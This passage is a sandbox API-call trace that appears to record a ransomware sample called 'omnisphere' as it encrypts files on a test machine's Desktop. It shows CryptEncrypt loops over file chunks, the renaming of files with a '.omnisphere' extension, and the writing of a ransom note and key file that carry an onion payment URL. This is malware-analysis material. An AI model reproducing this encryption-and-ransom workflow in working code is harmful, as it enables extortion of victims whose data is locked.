[0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.154] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.155] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.157] CryptDestroyKey (hKey=0x1639868) returned 1 [0164.157] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0164.157] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xf602, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.157] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0164.158] GetProcessHeap () returned 0x1600000 [0164.158] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27a) returned 0x1774b90 [0164.158] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ket_fovmnz89gacnj.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\ket_fovmnz89gacnj.avi.omnisphere")) returned 1 [0164.159] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi.omnisphere.id" [0164.159] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\ket_fovmnz89gacnj.avi.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0164.159] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0164.160] CloseHandle (hObject=0x3bc) returned 1 [0164.160] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0164.161] CloseHandle (hObject=0x380) returned 1 [0164.161] SetEndOfFile (hFile=0x39c) returned 1 [0164.161] FlushFileBuffers (hFile=0x39c) returned 1 [0164.204] CloseHandle (hObject=0x39c) returned 1 [0164.204] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.204] GetProcessHeap () returned 0x1600000 [0164.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1774e18 [0164.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.204] GetProcessHeap () returned 0x1600000 [0164.204] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17334a0 [0164.204] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17334a0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.204] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.205] GetProcessHeap () returned 0x1600000 [0164.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f540 [0164.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f540, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.205] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.205] GetProcessHeap () returned 0x1600000 [0164.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17740f0 [0164.205] PathCombineW (in: pszDest=0x17740f0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.205] GetProcessHeap () returned 0x1600000 [0164.205] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1754c48 [0164.205] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.205] WriteFile (in: hFile=0x39c, lpBuffer=0x1754c48*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1754c48*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.206] CloseHandle (hObject=0x39c) returned 1 [0164.206] GetProcessHeap () returned 0x1600000 [0164.206] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1774e18 | out: hHeap=0x1600000) returned 1 [0164.206] GetProcessHeap () returned 0x1600000 [0164.206] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0164.206] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.206] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.206] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.206] CloseHandle (hObject=0x39c) returned 1 [0164.206] GetProcessHeap () returned 0x1600000 [0164.206] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0164.206] GetProcessHeap () returned 0x1600000 [0164.207] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1774258 | out: hHeap=0x1600000) returned 1 [0164.207] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d1b9a0, ftCreationTime.dwHighDateTime=0x1d4d14f, ftLastAccessTime.dwLowDateTime=0x6c7f8d30, ftLastAccessTime.dwHighDateTime=0x1d4cd85, ftLastWriteTime.dwLowDateTime=0x6c7f8d30, ftLastWriteTime.dwHighDateTime=0x1d4cd85, nFileSizeHigh=0x0, nFileSizeLow=0x26f9, dwReserved0=0x0, dwReserved1=0xf5, cFileName="kmEU6kl38YnakRMzue-.jpg", cAlternateFileName="KMEU6K~1.JPG")) returned 1 [0164.207] GetProcessHeap () returned 0x1600000 [0164.207] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x17738f8 [0164.207] PathCombineW (in: pszDest=0x17738f8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="kmEU6kl38YnakRMzue-.jpg" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg" [0164.207] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0164.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kmEU6kl38YnakRMzue-.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\kmeu6kl38ynakrmzue-.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.207] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=9977) returned 1 [0164.207] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x21d5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.208] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.208] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] GetTickCount () returned 0x1168c69 [0164.209] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668708) returned 1 [0164.210] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16394e8) returned 1 [0164.210] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.210] CryptDestroyKey (hKey=0x16394e8) returned 1 [0164.210] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0164.210] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26f9, lpName=0x0) returned 0x380 [0164.210] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26f9) returned 0x1480000 [0164.210] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1668f88) returned 1 [0164.211] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639968) returned 1 [0164.211] CryptSetKeyParam (hKey=0x1639968, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.211] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.211] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.211] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.211] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.211] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.212] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.213] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, 